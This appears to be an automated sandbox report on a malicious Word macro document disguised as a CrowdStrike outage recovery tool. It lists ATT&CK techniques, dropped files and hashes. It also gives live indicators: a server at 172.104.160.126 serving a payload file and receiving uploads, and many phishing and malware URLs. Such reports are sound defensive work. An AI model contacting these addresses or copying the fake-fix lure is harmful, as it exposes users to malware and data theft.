Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Windows Management Instrumentation	32 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	1 Obfuscated Files or Information	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	1 Credentials In Files	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	111 Process Injection	12 Obfuscated Files or Information	Security Account Manager	36 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	1 Virtualization/Sandbox Evasion	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm	26%	ReversingLabs	Script-Macro.Downloader.Heuristic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRC0000.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\curl.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\mscorsvc.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://172.104.160.126:8099/payload2.txt6ov	0%	Avira URL Cloud	safe
https://curl.se/libcurl/c/curl_easy_setopt.html	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://172.104.160.126:80X99	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://172.104.160.126:8099	0%	Avira URL Cloud	safe
https://curl.se/docs/http-cookies.html	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://172.104.160.	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/payload2.txt-oC:	0%	Avira URL Cloud	safe
https://curl.se/docs/alt-svc.html	0%	Avira URL Cloud	safe
http://172.104.160.126:5000/Upl	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/payload2.txton	0%	Avira URL Cloud	safe
https://curl.se/docs/sslcerts.html	0%	Avira URL Cloud	safe
http://172.104.160.126:5000/Uploadss	0%	Avira URL Cloud	safe
https://curl.se/docs/alt-svc.html#	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html	0%	Avira URL Cloud	safe
https://curl.se/docs/sslcerts.htmlcurl	0%	Avira URL Cloud	safe
https://aka.ms/vs/17/release/vc_redist.x64.exe	0%	Avira URL Cloud	safe
https://curl.se/docs/copyright.htmlD	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/pay	0%	Avira URL Cloud	safe
https://curl.se/docs/hsts.html#	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/pay0	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/payload2.txtr	0%	Avira URL Cloud	safe
https://curl.se/docs/http-cookies.html#	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/payload2.txt6	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/payload2.txts	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/payload2.txt	0%	Avira URL Cloud	safe
https://curl.se/P	0%	Avira URL Cloud	safe
http://172.104.160.126:8099/payload2.txto	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.google.com	142.250.186.164	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://172.104.160.126:5000/Uploadss	true	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099/payload2.txt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	V2ViIERhdGE=.16.dr	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099/payload2.txt6ov	curl.exe, 0000000D.00000002.2189505676.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/libcurl/c/curl_easy_setopt.html	curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	V2ViIERhdGE=.16.dr	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099	vbaProject.bin	true	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	V2ViIERhdGE=.16.dr	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/http-cookies.html	curl.exe, curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp, certutil.exe, 00000022.00000003.2768980516.0000000004FA2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259710787.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:80X99	vbaProject.bin	false	Avira URL Cloud: safe	unknown
http://172.104.160.	~WRF{085F5DEF-FD43-4377-836E-D631451649D2}.tmp.26.dr	true	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	V2ViIERhdGE=.16.dr	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099/payload2.txt-oC:	curl.exe, 0000000D.00000002.2189505676.00000000033E0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000021.00000002.2767652303.0000000003170000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	V2ViIERhdGE=.16.dr	false	URL Reputation: safe	unknown
http://172.104.160.126:5000/Upl	rundll32.exe, 00000010.00000003.2520216865.0000020A783B4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.2520153129.0000020A783B3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html	certutil.exe, 0000000E.00000003.2191196676.0000000004907000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, rundll32.exe, 00000010.00000002.5554128263.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp, certutil.exe, 00000022.00000003.2768980516.0000000004FA2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259710787.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	V2ViIERhdGE=.16.dr	false	URL Reputation: safe	unknown
https://curl.se/docs/sslcerts.html	curl.exe, curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/sslcerts.htmlcurl	curl.exe	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	V2ViIERhdGE=.16.dr	false	URL Reputation: safe	unknown
https://curl.se/docs/hsts.html	curl.exe, curl.exe, 00000021.00000002.2767226008.0000000000885000.00000002.00000001.01000000.00000007.sdmp, curl.exe, 00000021.00000000.2733260752.0000000000885000.00000002.00000001.01000000.00000007.sdmp, certutil.exe, 00000022.00000003.2768980516.0000000004FA2000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000024.00000002.4259710787.00007FFD92CEA000.00000002.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099/payload2.txton	curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/vs/17/release/vc_redist.x64.exe	document.xml	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html#	rundll32.exe	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/copyright.htmlD	xcopy.exe, 0000000A.00000002.2145898386.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2149297237.0000000004620000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2148940386.0000000002928000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000C.00000002.2154163486.00000000028A8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmp, xcopy.exe, 0000001E.00000002.2727525467.00000000028DB000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2729026809.0000000004760000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2728920488.0000000002A08000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000020.00000002.2732646936.0000000002D98000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000021.00000002.2767307922.00000000008A0000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099/pay	curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://curl.se/docs/hsts.html#	curl.exe	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	V2ViIERhdGE=.16.dr	false	URL Reputation: safe	unknown
http://172.104.160.126:8099/payload2.txtr	curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099/pay0	curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099/payload2.txts	curl.exe, 0000000D.00000002.2189505676.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/P	xcopy.exe, 0000000A.00000002.2145898386.0000000002C0B000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2149297237.0000000004620000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000B.00000002.2148940386.0000000002928000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000000C.00000002.2154163486.00000000028A8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmp, xcopy.exe, 0000001E.00000002.2727525467.00000000028DB000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2729026809.0000000004760000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 0000001F.00000002.2728920488.0000000002A08000.00000004.00000020.00020000.00000000.sdmp, certutil.exe, 00000020.00000002.2732646936.0000000002D98000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000021.00000002.2767307922.00000000008A0000.00000002.00000001.01000000.00000007.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/http-cookies.html#	curl.exe	false	Avira URL Cloud: safe	unknown
http://172.104.160.126:8099/payload2.txt6	curl.exe, 0000000D.00000002.2189505676.00000000033E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	V2ViIERhdGE=.16.dr	false	URL Reputation: safe	unknown
http://172.104.160.126:8099/payload2.txto	curl.exe, 00000021.00000002.2767652303.0000000003178000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.104.160.126	unknown	United States	63949	LINODE-APLinodeLLCUS	true
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1478411
Start date and time:	2024-07-22 15:56:51 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winDOCM@69/284@2/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 59 Number of non-executed functions: 260
Cookbook Comments:	Found application associated with file extension: .docm Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Browse link: https://go.microsoft.com/fwlink/?linkid=2280386 Scroll down Close Viewer Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.109.32.97, 52.113.194.132, 184.28.90.27, 192.229.221.95, 52.111.243.40, 52.111.243.42, 52.111.243.41, 52.111.243.43, 199.232.214.172, 51.105.71.136, 52.109.28.47, 95.101.111.168, 95.101.111.179, 2.18.64.220, 2.18.64.224, 142.250.184.227, 142.250.185.206, 34.104.35.123, 74.125.71.84, 184.28.89.167, 23.212.89.111, 52.109.28.48, 20.189.173.2, 52.111.231.26, 52.111.231.25, 52.111.231.24, 52.111.231.23, 20.42.73.26
Excluded domains from analysis (whitelisted): osiprod-uks-bronze-azsc-000.uksouth.cloudapp.azure.com, odc.officeapps.live.com, slscr.update.microsoft.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, a1847.dscg2.akamai.net, mobile.events.data.microsoft.com, e11290.dspg.akamaiedge.net, clients2.google.com, dlc-shim.trafficmanager.net, e12671.dscd.akamaiedge.net, ocsp.digicert.com, login.live.com, download.microsoft.com.edgekey.net, e16604.g.akamaiedge.net, main.dl.ms.akadns.net, onedscolprdeus09.eastus.cloudapp.azure.com, officeclient.microsoft.com, download.microsoft.com, ukw-azsc-config.officeapps.live.com, ecs.office.com, fs.microsoft.com, onedscolprduks00.uksouth.cloudapp.azure.com, prod.roaming1.live.com.akadns.net, s-0005-office.config.skype.com, uks-azsc-000.odc.officeapps.live.com, nleditor.osi.office.net, uks-azsc-000.roaming.officeapps.live.com, edgedl.me.gvt1.com, s-0005.s-msedge.net, metadata.templates.cdn.office.net, ecs.office.trafficmanager.net, clients.l.google.com, eur
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtSetValueKey calls found.
VT rate limit hit for: New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	https://sites.google.com/view/sstransportinc/home	Get hash	malicious	HTMLPhisher	Browse
	https://nuasz.excaliburicon.com/?ccvoobkn=YWRhcHByb3ZhbHNAY29uZGVuYXN0LmNvbQ==	Get hash	malicious	Unknown	Browse
	ATT96885.htm	Get hash	malicious	HTMLPhisher	Browse
	https://liceultehnologicrosiajiu.ro/ulin/ulin8ce.html	Get hash	malicious	CVE-2024-21412	Browse
	lerpdf.45004.exe	Get hash	malicious	Unknown	Browse
	https://trk.klclick3.com/ls/click?upn=u001.F5FUvNp8lGuVBrfF8VWSt-2Befrq4JwHZUrXxYUllvBu6JQLRTleNqoOq9cK2V6H9nF6TE8i5ai18ELwuaCRLRwA-3D-3DeBON_1svWsHF9QtKh6I35BSRfJziCtreSweSmmjNgxUuzWxLFgb12Ddkvv3gPW-2BY7HCV4BtwDYPCgqFm6ezf3LGkFgw-2FasXzQ01tiusM7qj7f7wQzyFpk04U-2BNsOiH-2B6C0IEGGhuBHlH4nFGk5hM1YrilA-2FklNstU7j1vcFJG8iHzTeSRYHOXIpK0cVyPDdeQeDUKiYrTYys-2FJ6BSjWfQuGIzI8V57VImtAPAAkrpuUD31VELoL-2FwLqoqcEcJaE-2B6fpm2wPTZkCul8wgxqc4qQClvNSQEUdlWOW-2BnsmWvhHzUvBgdPRhNpiRMg8ZZ-2BBQBoSFlRkufcGBk8zdT6H-2B-2FULHcbxzCKE71NmfbhvHZ7lmXl2A-3D	Get hash	malicious	Tycoon2FA	Browse
	https://important-invite.ru/invitersvp/	Get hash	malicious	HTMLPhisher	Browse
	https://www.google.com.au/url?q=//www.google.co.nz/amp/s/clientdevelopmentserver.com/secure/documentattached.html	Get hash	malicious	HTMLPhisher	Browse
	Play__Now___Aud_for_matthew.whistler@holcim.com.html	Get hash	malicious	Unknown	Browse
172.104.160.126	mscorsvc.dll	Get hash	malicious	Unknown	Browse	172.104.160.126:5000/Uploadss

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LINODE-APLinodeLLCUS	mscorsvc.dll	Get hash	malicious	Unknown	Browse	172.104.160.126
	SecuriteInfo.com.FileRepMalware.25505.20211.exe	Get hash	malicious	Unknown	Browse	45.33.35.166
	SecuriteInfo.com.FileRepMalware.25505.20211.exe	Get hash	malicious	Unknown	Browse	45.79.94.110
	92.249.48.47-skid.m68k-2024-07-20T09_04_20.elf	Get hash	malicious	Mirai, Moobot	Browse	172.104.247.254
	ErieCustomerInvoiceReceipt.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	104.200.25.225
	z2WblTkkm2.exe	Get hash	malicious	Remcos	Browse	173.255.204.62
	https://u7161484.ct.sendgrid.net/ls/click?upn=u001.hSwgV93oKqJ8ZvQ-2F-2Bg69lRG3z5eH5AhV-2BJUjpvOnP47pFgt6vcHkzmMENxzqwp-2BRKeOD_zoLhCpkIy9Do8JtP-2BvPGbCKd-2BnnQhX22X7a9bdbWbCC5gFgFTIeDJ6cwijFzpwNISqmNkWsSGKxD-2FNSJjw0k1WplZHv6o0IxvsHmD61mU5ysV55-2B96DI72sCPsjm4NC818V0m0IM3im6ASY16u81LTenkvC-2FNvpnXD8McPjpGGauIb-2BM2U-2F5-2B1mP498QsMXa-2B6AhMNBfWHNfBJ5LHwc-2FEyMJR3z91eyiHhufIom4eLGOsOMu3-2Buvb1QWgf-2Fm28xUzJQB-2F0SFg3lJlq9Unc-2BGXVXdMHoo1zYap4ERXKPHz6fFTfg-2ByjNk2fx6gMZdF5wLdJ22iNNOIfJYnQmbrLKw8amK4pf2c0srhPNUjajemS3a0XAglQQfY-2FcnYJ8JCOteF8AXW7pHPGp1k6-2FUQvEbZwCojFrVmaSNpy4g9cIMi5Wb84VMjWDQkOvt1cLwqNYONTs-2FUB2VE3s9Hh05SQ7qgXlFKEeLNAjlDc8oLcdgcfk-3D	Get hash	malicious	Unknown	Browse	66.228.46.212
	nell.doc	Get hash	malicious	FormBook	Browse	45.79.104.7
	mlk3kK6uLZ.exe	Get hash	malicious	Amadey, Mars Stealer, PureLog Stealer, Quasar, RedLine, Stealc, Vidar	Browse	139.162.238.184
	Setup.exe	Get hash	malicious	Xmrig	Browse	172.104.165.191

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://nuasz.excaliburicon.com/?ccvoobkn=YWRhcHByb3ZhbHNAY29uZGVuYXN0LmNvbQ==	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://polr.netgroup.de/hKs-JSK99	Get hash	malicious	Phisher	Browse	173.222.162.64
	pharaoh.exe	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://pub-b966847c89744b24a8575d383574ff51.r2.dev/index.html#dG9ueXJAZmlyc3Rncm91cC1zYS5jby56YQ==	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	http://WWW.LIFTECH.CO.ZW	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://email.owa-file-pdf.com/pdf-fileshare/#tunc.iper@digiturk.com.tr	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	http://jurgenusering.com/	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://mbcxwo.com	Get hash	malicious	Unknown	Browse	173.222.162.64
	Clc-220199.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	https://sites.google.com/view/sstransportinc/home	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 40.126.31.69
	https://nuasz.excaliburicon.com/?ccvoobkn=YWRhcHByb3ZhbHNAY29uZGVuYXN0LmNvbQ==	Get hash	malicious	Unknown	Browse	52.165.165.26 40.126.31.69
	ATT96885.htm	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 40.126.31.69
	lerpdf.45004.exe	Get hash	malicious	Unknown	Browse	52.165.165.26 40.126.31.69
	https://important-invite.ru/invitersvp/	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 40.126.31.69
	Play__Now___Aud_for_matthew.whistler@holcim.com.html	Get hash	malicious	Unknown	Browse	52.165.165.26 40.126.31.69
	https://kwxciujqil.joseph-mathieu.workers.dev/?lneigvrscbp=Y25wZ2xhbW91ci1idXNpbmVzc0Bjb25kZW5hc3QuY29t	Get hash	malicious	Unknown	Browse	52.165.165.26 40.126.31.69
	https://t.co/J8cabPIhNa	Get hash	malicious	Unknown	Browse	52.165.165.26 40.126.31.69
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	52.165.165.26 40.126.31.69
	http://nys-ns.com/	Get hash	malicious	Unknown	Browse	52.165.165.26 40.126.31.69
3b5074b1b5d032e5620f69f9f700ff0e	https://nuasz.excaliburicon.com/?ccvoobkn=YWRhcHByb3ZhbHNAY29uZGVuYXN0LmNvbQ==	Get hash	malicious	Unknown	Browse	40.113.103.199
	25bbed456281ea6f37cb6b295ebd0d1764156e797b4f15e0dc1bbcd7342086a9_payload.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.103.199
	New Order.exe	Get hash	malicious	AgentTesla	Browse	40.113.103.199
	FileZilla_3.67.1_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	FileZilla_3.67.1_win64_sponsored-setup.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	DRAFT DOCUMENTS.js	Get hash	malicious	AgentTesla	Browse	40.113.103.199
	http://beonlineboo.com	Get hash	malicious	Unknown	Browse	40.113.103.199
	Banco_BPM__Copia_del_Pagamento.pdf.bat	Get hash	malicious	Remcos	Browse	40.113.103.199
	QvS0a5bvCMM8EUj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	40.113.103.199
	DeqcE30sLb.exe	Get hash	malicious	DCRat	Browse	40.113.103.199

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\curl.exe	https://rocksecuritymw.com/mus/?81367511	Get hash	malicious	DarkGate	Browse
	https://taskbes.com/ttse/?75486511	Get hash	malicious	DarkGate	Browse
	https://ledscreen.africa/dcil/?77391211	Get hash	malicious	DarkGate	Browse
	m7q7gcniEz.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	521377
Entropy (8bit):	4.9084889265453135
Encrypted:	false
SSDEEP:	3072:gdTb5Sb3F2FqSrfZm+CnQsbzxZO7aYb6f5780K2:wb5q3umBnzT
MD5:	C37972CBD8748E2CA6DA205839B16444
SHA1:	9834B46ACF560146DD7EE9086DB6019FBAC13B4E
SHA-256:	D4CFBB0E8B9D3E36ECE921B9B51BD37EF1D3195A9CFA1C4586AEA200EB3434A7
SHA-512:	02B4D134F84122B6EE9A304D79745A003E71803C354FB01BAF986BD15E3BA57BA5EF167CC444ED67B9BA5964FF5922C50E2E92A8A09862059852ECD9CEF1A900
Malicious:	false
Preview:	{"MajorVersion":4,"MinorVersion":40,"Expiration":14,"Fonts":[{"a":[4294966911],"f":"Abadi","fam":[],"sf":[{"c":[1,0],"dn":"Abadi","fs":32696,"ful":[{"lcp":983041,"lsc":"Latn","ltx":"Abadi"}],"gn":"Abadi","id":"23643452060","p":[2,11,6,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":26215680},{"c":[1,0],"dn":"Abadi Extra Light","fs":22180,"ful":[{"lcp":983042,"lsc":"Latn","ltx":"Abadi Extra Light"}],"gn":"Abadi Extra Light","id":"17656736728","p":[2,11,2,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":13108480}]},{"a":[4294966911],"f":"ADLaM Display","fam":[],"sf":[{"c":[536870913,0],"dn":"ADLaM Display Regular","fs":140072,"ful":[{"lcp":983040,"lsc":"Latn","ltx":"ADLaM Display"}],"gn":"ADLaM Display","id":"31965479471","p":[2,1,0,0,0,0,0,0,0,0],"sub":[],"t":"ttf","u":[2147491951,1107296330,0,0],"v":131072,"w":26215680}]},{"a":[4294966911],"f":"Agency FB","fam":[],"sf":[{"c":[536870913,0],"dn":"Agency FB Bold","fs":54372,"ful":[{"lcp":9830

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	TrueType Font data, 10 tables, 1st "OS/2", 7 names, Microsoft, language 0x409, \251 2018 Microsoft Corporation. All Rights Reserved.msofp_4_40RegularVersion 4.40;O365
Category:	dropped
Size (bytes):	773040
Entropy (8bit):	6.55939673749297
Encrypted:	false
SSDEEP:	12288:Zn84XULLDs51UJQSOf9VvLXHyheIQ47gEFGHtAgk3+/cLQ/zhm1kjFKy6Nyjbqq+:N8XPDs5+ivOXgo1kYvyz2
MD5:	4296A064B917926682E7EED650D4A745
SHA1:	3953A6AA9100F652A6CA533C2E05895E52343718
